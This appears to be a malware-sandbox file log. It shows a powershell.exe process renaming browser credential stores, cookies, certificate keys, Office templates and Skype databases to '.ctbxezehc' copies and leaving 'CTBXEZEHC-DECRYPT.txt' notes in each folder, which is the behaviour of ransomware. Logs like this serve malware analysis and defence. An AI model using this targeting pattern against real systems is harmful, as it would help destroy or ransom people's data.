3596 powershell.exe C:\Users\admin\AppData\Roaming\Mozilla\Firefox\Profiles\qldyz51w.default\storage\permanent\chrome\idb\1059394878bslnoicgkullipsFt2s%.sqlite.ctbxezehc binary
3596 powershell.exe C:\Users\admin\AppData\Roaming\Mozilla\Firefox\Profiles\qldyz51w.default\storage\permanent\chrome\idb\1451318868ntouromlalnodry--epcr.files\CTBXEZEHC-DECRYPT.txt text
3596 powershell.exe C:\Users\admin\AppData\Roaming\Mozilla\Firefox\Profiles\qldyz51w.default\storage\permanent\chrome\idb\1059394878bslnoicgkullipsFt2s%.sqlite ––
3596 powershell.exe C:\Users\admin\AppData\Roaming\Mozilla\Firefox\Profiles\qldyz51w.default\storage\permanent\chrome\idb\1059394878bslnoicgkullipsFt2s%.files\CTBXEZEHC-DECRYPT.txt text
3596 powershell.exe C:\Users\admin\AppData\Roaming\Mozilla\Firefox\Profiles\qldyz51w.default\storage\permanent\chrome\.metadata-v2.ctbxezehc binary
3596 powershell.exe C:\Users\admin\AppData\Roaming\Mozilla\Firefox\Profiles\qldyz51w.default\storage\permanent\chrome\idb\CTBXEZEHC-DECRYPT.txt text
3596 powershell.exe C:\Users\admin\AppData\Roaming\Mozilla\Firefox\Profiles\qldyz51w.default\storage\permanent\chrome\.metadata-v2 ––
3596 powershell.exe C:\Users\admin\AppData\Roaming\Mozilla\Firefox\Profiles\qldyz51w.default\storage\permanent\CTBXEZEHC-DECRYPT.txt text
3596 powershell.exe C:\Users\admin\AppData\Roaming\Mozilla\Firefox\Profiles\qldyz51w.default\storage\permanent\chrome\CTBXEZEHC-DECRYPT.txt text
3596 powershell.exe C:\Users\admin\AppData\Roaming\Mozilla\Firefox\Profiles\qldyz51w.default\storage\default\about+newtab\idb\3312185054sbndi_pspte.sqlite.ctbxezehc binary
3596 powershell.exe C:\Users\admin\AppData\Roaming\Mozilla\Firefox\Profiles\qldyz51w.default\storage\permanent\chrome\.metadata.ctbxezehc binary
3596 powershell.exe C:\Users\admin\AppData\Roaming\Mozilla\Firefox\Profiles\qldyz51w.default\storage\permanent\chrome\.metadata ––
3596 powershell.exe C:\Users\admin\AppData\Roaming\Mozilla\Firefox\Profiles\qldyz51w.default\storage\default\about+newtab\idb\3312185054sbndi_pspte.files\journals\CTBXEZEHC-DECRYPT.txt text
3596 powershell.exe C:\Users\admin\AppData\Roaming\Mozilla\Firefox\Profiles\qldyz51w.default\storage\default\about+newtab\idb\3312185054sbndi_pspte.sqlite ––
3596 powershell.exe C:\Users\admin\AppData\Roaming\Mozilla\Firefox\Profiles\qldyz51w.default\storage\default\about+newtab\idb\3312185054sbndi_pspte.files\1 ––
3596 powershell.exe C:\Users\admin\AppData\Roaming\Mozilla\Firefox\Profiles\qldyz51w.default\storage\default\about+newtab\idb\3312185054sbndi_pspte.files\1.ctbxezehc ––
3596 powershell.exe C:\Users\admin\AppData\Roaming\Mozilla\Firefox\Profiles\qldyz51w.default\storage\default\about+newtab\idb\CTBXEZEHC-DECRYPT.txt text
3596 powershell.exe C:\Users\admin\AppData\Roaming\Mozilla\Firefox\Profiles\qldyz51w.default\storage\default\about+newtab\.metadata-v2.ctbxezehc binary
3596 powershell.exe C:\Users\admin\AppData\Roaming\Mozilla\Firefox\Profiles\qldyz51w.default\storage\default\about+newtab\idb\3312185054sbndi_pspte.files\CTBXEZEHC-DECRYPT.txt text
3596 powershell.exe C:\Users\admin\AppData\Roaming\Mozilla\Firefox\Profiles\qldyz51w.default\storage\default\about+newtab\.metadata-v2 ––
3596 powershell.exe C:\Users\admin\AppData\Roaming\Mozilla\Firefox\Profiles\qldyz51w.default\storage\default\about+newtab\CTBXEZEHC-DECRYPT.txt text
3596 powershell.exe C:\Users\admin\AppData\Roaming\Mozilla\Firefox\Profiles\qldyz51w.default\storage\default\about+home\idb\3312185054sbndi_pspte.files\journals\CTBXEZEHC-DECRYPT.txt text
3596 powershell.exe C:\Users\admin\AppData\Roaming\Mozilla\Firefox\Profiles\qldyz51w.default\storage\default\about+home\idb\3312185054sbndi_pspte.sqlite.ctbxezehc binary
3596 powershell.exe C:\Users\admin\AppData\Roaming\Mozilla\Firefox\Profiles\qldyz51w.default\storage\default\about+newtab\.metadata.ctbxezehc binary
3596 powershell.exe C:\Users\admin\AppData\Roaming\Mozilla\Firefox\Profiles\qldyz51w.default\storage\default\about+newtab\.metadata ––
3596 powershell.exe C:\Users\admin\AppData\Roaming\Mozilla\Firefox\Profiles\qldyz51w.default\storage\default\about+home\idb\3312185054sbndi_pspte.sqlite ––
3596 powershell.exe C:\Users\admin\AppData\Roaming\Mozilla\Firefox\Profiles\qldyz51w.default\storage\default\about+home\idb\3312185054sbndi_pspte.files\1 ––
3596 powershell.exe C:\Users\admin\AppData\Roaming\Mozilla\Firefox\Profiles\qldyz51w.default\storage\default\about+home\idb\3312185054sbndi_pspte.files\1.ctbxezehc ––
3596 powershell.exe C:\Users\admin\AppData\Roaming\Mozilla\Firefox\Profiles\qldyz51w.default\storage\default\about+home\.metadata.ctbxezehc binary
3596 powershell.exe C:\Users\admin\AppData\Roaming\Mozilla\Firefox\Profiles\qldyz51w.default\storage\default\about+home\.metadata-v2.ctbxezehc binary
3596 powershell.exe C:\Users\admin\AppData\Roaming\Mozilla\Firefox\Profiles\qldyz51w.default\storage\default\about+home\idb\3312185054sbndi_pspte.files\CTBXEZEHC-DECRYPT.txt text
3596 powershell.exe C:\Users\admin\AppData\Roaming\Mozilla\Firefox\Profiles\qldyz51w.default\storage\default\about+home\idb\CTBXEZEHC-DECRYPT.txt text
3596 powershell.exe C:\Users\admin\AppData\Roaming\Mozilla\Firefox\Profiles\qldyz51w.default\storage\default\about+home\.metadata-v2 ––
3596 powershell.exe C:\Users\admin\AppData\Roaming\Mozilla\Firefox\Profiles\qldyz51w.default\storage\default\about+home\.metadata ––
3596 powershell.exe C:\Users\admin\AppData\Roaming\Mozilla\Firefox\Profiles\qldyz51w.default\sessionstore-backups\CTBXEZEHC-DECRYPT.txt text
3596 powershell.exe C:\Users\admin\AppData\Roaming\Mozilla\Firefox\Profiles\qldyz51w.default\storage\default\CTBXEZEHC-DECRYPT.txt text
3596 powershell.exe C:\Users\admin\AppData\Roaming\Mozilla\Firefox\Profiles\qldyz51w.default\sessionstore.jsonlz4.ctbxezehc binary
3596 powershell.exe C:\Users\admin\AppData\Roaming\Mozilla\Firefox\Profiles\qldyz51w.default\SiteSecurityServiceState.txt.ctbxezehc binary
3596 powershell.exe C:\Users\admin\AppData\Roaming\Mozilla\Firefox\Profiles\qldyz51w.default\sessionstore-backups\previous.jsonlz4.ctbxezehc binary
3596 powershell.exe C:\Users\admin\AppData\Roaming\Mozilla\Firefox\Profiles\qldyz51w.default\storage\default\about+home\CTBXEZEHC-DECRYPT.txt text
3596 powershell.exe C:\Users\admin\AppData\Roaming\Mozilla\Firefox\Profiles\qldyz51w.default\storage\CTBXEZEHC-DECRYPT.txt text
3596 powershell.exe C:\Users\admin\AppData\Roaming\Mozilla\Firefox\Profiles\qldyz51w.default\sessionstore.jsonlz4 ––
3596 powershell.exe C:\Users\admin\AppData\Roaming\Mozilla\Firefox\Profiles\qldyz51w.default\sessionstore-backups\previous.jsonlz4 ––
3596 powershell.exe C:\Users\admin\AppData\Roaming\Mozilla\Firefox\Profiles\qldyz51w.default\SiteSecurityServiceState.txt ––
3596 powershell.exe C:\Users\admin\AppData\Roaming\Mozilla\Firefox\Profiles\qldyz51w.default\search.json.mozlz4.ctbxezehc binary
3596 powershell.exe C:\Users\admin\AppData\Roaming\Mozilla\Firefox\Profiles\qldyz51w.default\revocations.txt.ctbxezehc binary
3596 powershell.exe C:\Users\admin\AppData\Roaming\Mozilla\Firefox\Profiles\qldyz51w.default\sessionCheckpoints.json.ctbxezehc binary
3596 powershell.exe C:\Users\admin\AppData\Roaming\Mozilla\Firefox\Profiles\qldyz51w.default\saved-telemetry-pings\CTBXEZEHC-DECRYPT.txt text
3596 powershell.exe C:\Users\admin\AppData\Roaming\Mozilla\Firefox\Profiles\qldyz51w.default\revocations.txt ––
3596 powershell.exe C:\Users\admin\AppData\Roaming\Mozilla\Firefox\Profiles\qldyz51w.default\sessionCheckpoints.json ––
3596 powershell.exe C:\Users\admin\AppData\Roaming\Mozilla\Firefox\Profiles\qldyz51w.default\search.json.mozlz4 ––
3596 powershell.exe C:\Users\admin\AppData\Roaming\Mozilla\Firefox\Profiles\qldyz51w.default\pluginreg.dat.ctbxezehc binary
3596 powershell.exe C:\Users\admin\AppData\Roaming\Mozilla\Firefox\Profiles\qldyz51w.default\prefs.js.ctbxezehc binary
3596 powershell.exe C:\Users\admin\AppData\Roaming\Mozilla\Firefox\Profiles\qldyz51w.default\prefs.js ––
3596 powershell.exe C:\Users\admin\AppData\Roaming\Mozilla\Firefox\Profiles\qldyz51w.default\pluginreg.dat ––
3596 powershell.exe C:\Users\admin\AppData\Roaming\Mozilla\Firefox\Profiles\qldyz51w.default\places.sqlite.ctbxezehc ––
3596 powershell.exe C:\Users\admin\AppData\Roaming\Mozilla\Firefox\Profiles\qldyz51w.default\places.sqlite ––
3596 powershell.exe C:\Users\admin\AppData\Roaming\Mozilla\Firefox\Profiles\qldyz51w.default\permissions.sqlite.ctbxezehc binary
3596 powershell.exe C:\Users\admin\AppData\Roaming\Mozilla\Firefox\Profiles\qldyz51w.default\pkcs11.txt.ctbxezehc binary
3596 powershell.exe C:\Users\admin\AppData\Roaming\Mozilla\Firefox\Profiles\qldyz51w.default\pkcs11.txt ––
3596 powershell.exe C:\Users\admin\AppData\Roaming\Mozilla\Firefox\Profiles\qldyz51w.default\permissions.sqlite ––
3596 powershell.exe C:\Users\admin\AppData\Roaming\Mozilla\Firefox\Profiles\qldyz51w.default\minidumps\CTBXEZEHC-DECRYPT.txt text
3596 powershell.exe C:\Users\admin\AppData\Roaming\Mozilla\Firefox\Profiles\qldyz51w.default\logins.json.ctbxezehc binary
3596 powershell.exe C:\Users\admin\AppData\Roaming\Mozilla\Firefox\Profiles\qldyz51w.default\logins.json ––
3596 powershell.exe C:\Users\admin\AppData\Roaming\Mozilla\Firefox\Profiles\qldyz51w.default\key4.db.ctbxezehc binary
3596 powershell.exe C:\Users\admin\AppData\Roaming\Mozilla\Firefox\Profiles\qldyz51w.default\handlers.json.ctbxezehc binary
3596 powershell.exe C:\Users\admin\AppData\Roaming\Mozilla\Firefox\Profiles\qldyz51w.default\key4.db ––
3596 powershell.exe C:\Users\admin\AppData\Roaming\Mozilla\Firefox\Profiles\qldyz51w.default\handlers.json ––
3596 powershell.exe C:\Users\admin\AppData\Roaming\Mozilla\Firefox\Profiles\qldyz51w.default\gmp-widevinecdm\1.4.8.1008\widevinecdm.dll.sig.ctbxezehc binary
3596 powershell.exe C:\Users\admin\AppData\Roaming\Mozilla\Firefox\Profiles\qldyz51w.default\gmp-widevinecdm\1.4.8.1008\widevinecdm.dll.sig ––
3596 powershell.exe C:\Users\admin\AppData\Roaming\Mozilla\Firefox\Profiles\qldyz51w.default\gmp-widevinecdm\1.4.8.1008\manifest.json.ctbxezehc gpg
3596 powershell.exe C:\Users\admin\AppData\Roaming\Mozilla\Firefox\Profiles\qldyz51w.default\gmp-widevinecdm\1.4.8.1008\widevinecdm.dll.lib.ctbxezehc binary
3596 powershell.exe C:\Users\admin\AppData\Roaming\Mozilla\Firefox\Profiles\qldyz51w.default\gmp-widevinecdm\1.4.8.1008\widevinecdm.dll.lib ––
3596 powershell.exe C:\Users\admin\AppData\Roaming\Mozilla\Firefox\Profiles\qldyz51w.default\gmp-widevinecdm\1.4.8.1008\manifest.json ––
3596 powershell.exe C:\Users\admin\AppData\Roaming\Mozilla\Firefox\Profiles\qldyz51w.default\gmp-widevinecdm\1.4.8.1008\LICENSE.txt.ctbxezehc binary
3596 powershell.exe C:\Users\admin\AppData\Roaming\Mozilla\Firefox\Profiles\qldyz51w.default\gmp-widevinecdm\1.4.8.1008\LICENSE.txt ––
3596 powershell.exe C:\Users\admin\AppData\Roaming\Mozilla\Firefox\Profiles\qldyz51w.default\gmp-widevinecdm\1.4.8.1008\CTBXEZEHC-DECRYPT.txt text
3596 powershell.exe C:\Users\admin\AppData\Roaming\Mozilla\Firefox\Profiles\qldyz51w.default\gmp-gmpopenh264\1.7.1\gmpopenh264.info.ctbxezehc binary
3596 powershell.exe C:\Users\admin\AppData\Roaming\Mozilla\Firefox\Profiles\qldyz51w.default\gmp-widevinecdm\CTBXEZEHC-DECRYPT.txt text
3596 powershell.exe C:\Users\admin\AppData\Roaming\Mozilla\Firefox\Profiles\qldyz51w.default\gmp-gmpopenh264\1.7.1\gmpopenh264.info ––
3596 powershell.exe C:\Users\admin\AppData\Roaming\Mozilla\Firefox\Profiles\qldyz51w.default\gmp\WINNT_x86-msvc\CTBXEZEHC-DECRYPT.txt text
3596 powershell.exe C:\Users\admin\AppData\Roaming\Mozilla\Firefox\Profiles\qldyz51w.default\formhistory.sqlite.ctbxezehc binary
3596 powershell.exe C:\Users\admin\AppData\Roaming\Mozilla\Firefox\Profiles\qldyz51w.default\gmp\CTBXEZEHC-DECRYPT.txt text
3596 powershell.exe C:\Users\admin\AppData\Roaming\Mozilla\Firefox\Profiles\qldyz51w.default\gmp-gmpopenh264\1.7.1\CTBXEZEHC-DECRYPT.txt text
3596 powershell.exe C:\Users\admin\AppData\Roaming\Mozilla\Firefox\Profiles\qldyz51w.default\gmp-gmpopenh264\CTBXEZEHC-DECRYPT.txt text
3596 powershell.exe C:\Users\admin\AppData\Roaming\Mozilla\Firefox\Profiles\qldyz51w.default\formhistory.sqlite ––
3596 powershell.exe C:\Users\admin\AppData\Roaming\Mozilla\Firefox\Profiles\qldyz51w.default\favicons.sqlite.ctbxezehc ––
3596 powershell.exe C:\Users\admin\AppData\Roaming\Mozilla\Firefox\Profiles\qldyz51w.default\favicons.sqlite ––
3596 powershell.exe C:\Users\admin\AppData\Roaming\Mozilla\Firefox\Profiles\qldyz51w.default\datareporting\state.json.ctbxezehc binary
3596 powershell.exe C:\Users\admin\AppData\Roaming\Mozilla\Firefox\Profiles\qldyz51w.default\extensions.json.ctbxezehc binary
3596 powershell.exe C:\Users\admin\AppData\Roaming\Mozilla\Firefox\Profiles\qldyz51w.default\datareporting\session-state.json.ctbxezehc binary
3596 powershell.exe C:\Users\admin\AppData\Roaming\Mozilla\Firefox\Profiles\qldyz51w.default\datareporting\archived\2018-09\1536511076670.6fb1a61f-96c8-4004-a260-a8d32e45a07f.main.jsonlz4.ctbxezehc binary
3596 powershell.exe C:\Users\admin\AppData\Roaming\Mozilla\Firefox\Profiles\qldyz51w.default\datareporting\session-state.json ––
3596 powershell.exe C:\Users\admin\AppData\Roaming\Mozilla\Firefox\Profiles\qldyz51w.default\extensions.json ––
3596 powershell.exe C:\Users\admin\AppData\Roaming\Mozilla\Firefox\Profiles\qldyz51w.default\datareporting\state.json ––
3596 powershell.exe C:\Users\admin\AppData\Roaming\Mozilla\Firefox\Profiles\qldyz51w.default\datareporting\archived\2018-09\CTBXEZEHC-DECRYPT.txt text
3596 powershell.exe C:\Users\admin\AppData\Roaming\Mozilla\Firefox\Profiles\qldyz51w.default\datareporting\archived\2018-09\1536510464398.048632c6-c96b-486d-b119-7e1a7a9c9e9a.main.jsonlz4.ctbxezehc binary
3596 powershell.exe C:\Users\admin\AppData\Roaming\Mozilla\Firefox\Profiles\qldyz51w.default\datareporting\archived\2018-09\1536510890757.0bd2c0b0-6051-4678-a27c-37f3c0a0c3bf.main.jsonlz4.ctbxezehc binary
3596 powershell.exe C:\Users\admin\AppData\Roaming\Mozilla\Firefox\Profiles\qldyz51w.default\datareporting\archived\2018-08\1535455254239.6a6d1f6c-b378-42bd-83d4-6375a8d83c94.main.jsonlz4.ctbxezehc binary
3596 powershell.exe C:\Users\admin\AppData\Roaming\Mozilla\Firefox\Profiles\qldyz51w.default\datareporting\archived\2018-09\1536511076670.6fb1a61f-96c8-4004-a260-a8d32e45a07f.main.jsonlz4 ––
3596 powershell.exe C:\Users\admin\AppData\Roaming\Mozilla\Firefox\Profiles\qldyz51w.default\datareporting\archived\2018-08\1535455254239.6a6d1f6c-b378-42bd-83d4-6375a8d83c94.main.jsonlz4 ––
3596 powershell.exe C:\Users\admin\AppData\Roaming\Mozilla\Firefox\Profiles\qldyz51w.default\datareporting\archived\2018-09\1536510464398.048632c6-c96b-486d-b119-7e1a7a9c9e9a.main.jsonlz4 ––
3596 powershell.exe C:\Users\admin\AppData\Roaming\Mozilla\Firefox\Profiles\qldyz51w.default\datareporting\archived\2018-09\1536510890757.0bd2c0b0-6051-4678-a27c-37f3c0a0c3bf.main.jsonlz4 ––
3596 powershell.exe C:\Users\admin\AppData\Roaming\Mozilla\Firefox\Profiles\qldyz51w.default\datareporting\archived\2018-08\1535454589776.07f73e80-2b12-40ae-97b0-fa87f3167670.main.jsonlz4.ctbxezehc binary
3596 powershell.exe C:\Users\admin\AppData\Roaming\Mozilla\Firefox\Profiles\qldyz51w.default\datareporting\archived\2018-08\1535454589777.8901d324-d310-406e-8d96-2ba1529e4bea.first-shutdown.jsonlz4.ctbxezehc binary
3596 powershell.exe C:\Users\admin\AppData\Roaming\Mozilla\Firefox\Profiles\qldyz51w.default\datareporting\archived\2018-08\1535454589777.8901d324-d310-406e-8d96-2ba1529e4bea.first-shutdown.jsonlz4 ––
3596 powershell.exe C:\Users\admin\AppData\Roaming\Mozilla\Firefox\Profiles\qldyz51w.default\datareporting\archived\2018-08\1535454589776.07f73e80-2b12-40ae-97b0-fa87f3167670.main.jsonlz4 ––
3596 powershell.exe C:\Users\admin\AppData\Roaming\Mozilla\Firefox\Profiles\qldyz51w.default\datareporting\archived\2018-08\CTBXEZEHC-DECRYPT.txt text
3596 powershell.exe C:\Users\admin\AppData\Roaming\Mozilla\Firefox\Profiles\qldyz51w.default\datareporting\archived\2018-08\1535454581431.ff499cec-8d4b-47de-a059-a9aea3d69a66.main.jsonlz4.ctbxezehc binary
3596 powershell.exe C:\Users\admin\AppData\Roaming\Mozilla\Firefox\Profiles\qldyz51w.default\datareporting\CTBXEZEHC-DECRYPT.txt text
3596 powershell.exe C:\Users\admin\AppData\Roaming\Mozilla\Firefox\Profiles\qldyz51w.default\crashes\store.json.mozlz4.ctbxezehc binary
3596 powershell.exe C:\Users\admin\AppData\Roaming\Mozilla\Firefox\Profiles\qldyz51w.default\datareporting\archived\CTBXEZEHC-DECRYPT.txt text
3596 powershell.exe C:\Users\admin\AppData\Roaming\Mozilla\Firefox\Profiles\qldyz51w.default\datareporting\archived\2018-08\1535454589752.05c13197-8f39-40a1-b976-59f6f9c1cc5f.new-profile.jsonlz4.ctbxezehc binary
3596 powershell.exe C:\Users\admin\AppData\Roaming\Mozilla\Firefox\Profiles\qldyz51w.default\datareporting\archived\2018-08\1535454581431.ff499cec-8d4b-47de-a059-a9aea3d69a66.main.jsonlz4 ––
3596 powershell.exe C:\Users\admin\AppData\Roaming\Mozilla\Firefox\Profiles\qldyz51w.default\datareporting\archived\2018-08\1535454589752.05c13197-8f39-40a1-b976-59f6f9c1cc5f.new-profile.jsonlz4 ––
3596 powershell.exe C:\Users\admin\AppData\Roaming\Mozilla\Firefox\Profiles\qldyz51w.default\crashes\store.json.mozlz4 ––
3596 powershell.exe C:\Users\admin\AppData\Roaming\Mozilla\Firefox\Profiles\qldyz51w.default\crashes\CTBXEZEHC-DECRYPT.txt text
3596 powershell.exe C:\Users\admin\AppData\Roaming\Mozilla\Firefox\Profiles\qldyz51w.default\cookies.sqlite.ctbxezehc binary
3596 powershell.exe C:\Users\admin\AppData\Roaming\Mozilla\Firefox\Profiles\qldyz51w.default\crashes\events\CTBXEZEHC-DECRYPT.txt text
3596 powershell.exe C:\Users\admin\AppData\Roaming\Mozilla\Firefox\Profiles\qldyz51w.default\content-prefs.sqlite.ctbxezehc binary
3596 powershell.exe C:\Users\admin\AppData\Roaming\Mozilla\Firefox\Profiles\qldyz51w.default\cookies.sqlite ––
3596 powershell.exe C:\Users\admin\AppData\Roaming\Mozilla\Firefox\Profiles\qldyz51w.default\content-prefs.sqlite ––
3596 powershell.exe C:\Users\admin\AppData\Roaming\Mozilla\Firefox\Profiles\qldyz51w.default\compatibility.ini.ctbxezehc binary
3596 powershell.exe C:\Users\admin\AppData\Roaming\Mozilla\Firefox\Profiles\qldyz51w.default\containers.json.ctbxezehc binary
3596 powershell.exe C:\Users\admin\AppData\Roaming\Mozilla\Firefox\Profiles\qldyz51w.default\cert9.db.ctbxezehc binary
3596 powershell.exe C:\Users\admin\AppData\Roaming\Mozilla\Firefox\Profiles\qldyz51w.default\cert9.db ––
3596 powershell.exe C:\Users\admin\AppData\Roaming\Mozilla\Firefox\Profiles\qldyz51w.default\containers.json ––
3596 powershell.exe C:\Users\admin\AppData\Roaming\Mozilla\Firefox\Profiles\qldyz51w.default\compatibility.ini ––
3596 powershell.exe C:\Users\admin\AppData\Roaming\Mozilla\Firefox\Profiles\qldyz51w.default\blocklists\plugins.json.ctbxezehc binary
3596 powershell.exe C:\Users\admin\AppData\Roaming\Mozilla\Firefox\Profiles\qldyz51w.default\bookmarkbackups\bookmarks-2018-08-28_14_uZyx1cMFmZ7ZpL4NneCk2A==.jsonlz4.ctbxezehc binary
3596 powershell.exe C:\Users\admin\AppData\Roaming\Mozilla\Firefox\Profiles\qldyz51w.default\bookmarkbackups\CTBXEZEHC-DECRYPT.txt text
3596 powershell.exe C:\Users\admin\AppData\Roaming\Mozilla\Firefox\Profiles\qldyz51w.default\blocklists\plugins.json ––
3596 powershell.exe C:\Users\admin\AppData\Roaming\Mozilla\Firefox\Profiles\qldyz51w.default\bookmarkbackups\bookmarks-2018-08-28_14_uZyx1cMFmZ7ZpL4NneCk2A==.jsonlz4 ––
3596 powershell.exe C:\Users\admin\AppData\Roaming\Mozilla\Firefox\Profiles\qldyz51w.default\blocklists\CTBXEZEHC-DECRYPT.txt text
3596 powershell.exe C:\Users\admin\AppData\Roaming\Mozilla\Firefox\Profiles\qldyz51w.default\blocklists\addons.json.ctbxezehc binary
3596 powershell.exe C:\Users\admin\AppData\Roaming\Mozilla\Firefox\Profiles\qldyz51w.default\blocklists\addons.json ––
3596 powershell.exe C:\Users\admin\AppData\Roaming\Mozilla\Firefox\Profiles\qldyz51w.default\blocklist.xml.ctbxezehc binary
3596 powershell.exe C:\Users\admin\AppData\Roaming\Mozilla\Firefox\Profiles\qldyz51w.default\blocklist.xml ––
3596 powershell.exe C:\Users\admin\AppData\Roaming\Mozilla\Firefox\Profiles\qldyz51w.default\addonStartup.json.lz4.ctbxezehc binary
3596 powershell.exe C:\Users\admin\AppData\Roaming\Mozilla\Firefox\Profiles\qldyz51w.default\addons.json.ctbxezehc binary
3596 powershell.exe C:\Users\admin\AppData\Roaming\Mozilla\Firefox\Profiles\qldyz51w.default\CTBXEZEHC-DECRYPT.txt text
3596 powershell.exe C:\Users\admin\AppData\Roaming\Mozilla\Firefox\Pending Pings\CTBXEZEHC-DECRYPT.txt text
3596 powershell.exe C:\Users\admin\AppData\Roaming\Mozilla\Firefox\Crash Reports\InstallTime20180807170231.ctbxezehc binary
3596 powershell.exe C:\Users\admin\AppData\Roaming\Mozilla\Firefox\Profiles\CTBXEZEHC-DECRYPT.txt text
3596 powershell.exe C:\Users\admin\AppData\Roaming\Mozilla\Firefox\Profiles\qldyz51w.default\addons.json ––
3596 powershell.exe C:\Users\admin\AppData\Roaming\Mozilla\Firefox\Profiles\qldyz51w.default\addonStartup.json.lz4 ––
3596 powershell.exe C:\Users\admin\AppData\Roaming\Mozilla\Firefox\Crash Reports\InstallTime20180807170231 ––
3596 powershell.exe C:\Users\admin\AppData\Roaming\Mozilla\CTBXEZEHC-DECRYPT.txt text
3596 powershell.exe C:\Users\admin\AppData\Roaming\Microsoft\Vault\CTBXEZEHC-DECRYPT.txt text
3596 powershell.exe C:\Users\admin\AppData\Roaming\Mozilla\Firefox\Crash Reports\events\CTBXEZEHC-DECRYPT.txt text
3596 powershell.exe C:\Users\admin\AppData\Roaming\Mozilla\Firefox\CTBXEZEHC-DECRYPT.txt text
3596 powershell.exe C:\Users\admin\AppData\Roaming\Mozilla\Extensions\CTBXEZEHC-DECRYPT.txt text
3596 powershell.exe C:\Users\admin\AppData\Roaming\Microsoft\Word\CTBXEZEHC-DECRYPT.txt text
3596 powershell.exe C:\Users\admin\AppData\Roaming\Mozilla\Firefox\Crash Reports\CTBXEZEHC-DECRYPT.txt text
3596 powershell.exe C:\Users\admin\AppData\Roaming\Microsoft\UProof\CUSTOM.DIC.ctbxezehc mp3
3596 powershell.exe C:\Users\admin\AppData\Roaming\Microsoft\Word\STARTUP\CTBXEZEHC-DECRYPT.txt text
3596 powershell.exe C:\Users\admin\AppData\Roaming\Microsoft\UProof\CUSTOM.DIC ––
3596 powershell.exe C:\Users\admin\AppData\Roaming\Microsoft\UProof\CTBXEZEHC-DECRYPT.txt text
3596 powershell.exe C:\Users\admin\AppData\Roaming\Microsoft\Templates\NormalEmail.dotm.ctbxezehc binary
3596 powershell.exe C:\Users\admin\AppData\Roaming\Microsoft\Templates\LiveContent\Managed\Access Parts\CTBXEZEHC-DECRYPT.txt text
3596 powershell.exe C:\Users\admin\AppData\Roaming\Microsoft\Templates\Normal.dotm.ctbxezehc binary
3596 powershell.exe C:\Users\admin\AppData\Roaming\Microsoft\Templates\LiveContent\Managed\CTBXEZEHC-DECRYPT.txt text
3596 powershell.exe C:\Users\admin\AppData\Roaming\Microsoft\Templates\LiveContent\Managed\Access Parts\1033\CTBXEZEHC-DECRYPT.txt text
3596 powershell.exe C:\Users\admin\AppData\Roaming\Microsoft\Templates\NormalEmail.dotm ––
3596 powershell.exe C:\Users\admin\AppData\Roaming\Microsoft\Templates\Normal.dotm ––
3596 powershell.exe C:\Users\admin\AppData\Roaming\Microsoft\SystemCertificates\My\CTLs\CTBXEZEHC-DECRYPT.txt text
3596 powershell.exe C:\Users\admin\AppData\Roaming\Microsoft\SystemCertificates\My\Keys\ECCD4BA46722CB4F92060701865DDF09D8AF68B4.ctbxezehc binary
3596 powershell.exe C:\Users\admin\AppData\Roaming\Microsoft\SystemCertificates\My\Certificates\CTBXEZEHC-DECRYPT.txt text
3596 powershell.exe C:\Users\admin\AppData\Roaming\Microsoft\SystemCertificates\My\Certificates\E02357FC7708441D4B0BE5F371F4B28961870F70.ctbxezehc binary
3596 powershell.exe C:\Users\admin\AppData\Roaming\Microsoft\Templates\LiveContent\CTBXEZEHC-DECRYPT.txt text
3596 powershell.exe C:\Users\admin\AppData\Roaming\Microsoft\SystemCertificates\My\Keys\CTBXEZEHC-DECRYPT.txt text
3596 powershell.exe C:\Users\admin\AppData\Roaming\Microsoft\SystemCertificates\My\CTBXEZEHC-DECRYPT.txt text
3596 powershell.exe C:\Users\admin\AppData\Roaming\Microsoft\Templates\CTBXEZEHC-DECRYPT.txt text
3596 powershell.exe C:\Users\admin\AppData\Roaming\Microsoft\SystemCertificates\My\CRLs\CTBXEZEHC-DECRYPT.txt text
3596 powershell.exe C:\Users\admin\AppData\Roaming\Microsoft\SystemCertificates\My\Keys\ECCD4BA46722CB4F92060701865DDF09D8AF68B4 ––
3596 powershell.exe C:\Users\admin\AppData\Roaming\Microsoft\SystemCertificates\My\Certificates\E02357FC7708441D4B0BE5F371F4B28961870F70 ––
3596 powershell.exe C:\Users\admin\AppData\Roaming\Microsoft\Skype for Desktop\skylib\live#3agabriel.radrigos\main.db.ctbxezehc binary
3596 powershell.exe C:\Users\admin\AppData\Roaming\Microsoft\Skype for Desktop\skylib\live#3agabriel.radrigos\main.db-journal.ctbxezehc binary
3596 powershell.exe C:\Users\admin\AppData\Roaming\Microsoft\Skype for Desktop\skylib\slimcore-0-4223384469.blog.ctbxezehc binary
3596 powershell.exe C:\Users\admin\AppData\Roaming\Microsoft\Speech\CTBXEZEHC-DECRYPT.txt text
3596 powershell.exe C:\Users\admin\AppData\Roaming\Microsoft\Skype for Desktop\skylib\shared.xml.ctbxezehc binary
3596 powershell.exe C:\Users\admin\AppData\Roaming\Microsoft\Stationery\CTBXEZEHC-DECRYPT.txt text
3596 powershell.exe C:\Users\admin\AppData\Roaming\Microsoft\SystemCertificates\CTBXEZEHC-DECRYPT.txt text
3596 powershell.exe C:\Users\admin\AppData\Roaming\Microsoft\Skype for Desktop\skylib\shared.xml ––
3596 powershell.exe C:\Users\admin\AppData\Roaming\Microsoft\Skype for Desktop\skylib\live#3agabriel.radrigos\main.db-journal ––
3596 powershell.exe C:\Users\admin\AppData\Roaming\Microsoft\Skype for Desktop\skylib\slimcore-0-4223384469.blog ––
3596 powershell.exe C:\Users\admin\AppData\Roaming\Microsoft\Skype for Desktop\skylib\live#3agabriel.radrigos\main.db ––
3596 powershell.exe C:\Users\admin\AppData\Roaming\Microsoft\Skype for Desktop\skylib\live#3agabriel.radrigos\config.xml.ctbxezehc binary
3596 powershell.exe C:\Users\admin\AppData\Roaming\Microsoft\Skype for Desktop\skylib\DataRv\offline-storage.data-wal.ctbxezehc binary
3596 powershell.exe C:\Users\admin\AppData\Roaming\Microsoft\Skype for Desktop\skylib\live#3agabriel.radrigos\CTBXEZEHC-DECRYPT.txt text
3596 powershell.exe C:\Users\admin\AppData\Roaming\Microsoft\Skype for Desktop\skylib\live#3agabriel.radrigos\config.xml ––
3596 powershell.exe C:\Users\admin\AppData\Roaming\Microsoft\Skype for Desktop\skylib\DataRv\offline-storage.data-wal ––
3596 powershell.exe C:\Users\admin\AppData\Roaming\Microsoft\Skype for Desktop\skylib\DataRv\offline-storage.data-shm.ctbxezehc binary
3596 powershell.exe C:\Users\admin\AppData\Roaming\Microsoft\Skype for Desktop\skylib\DataRv\offline-storage.data-shm ––
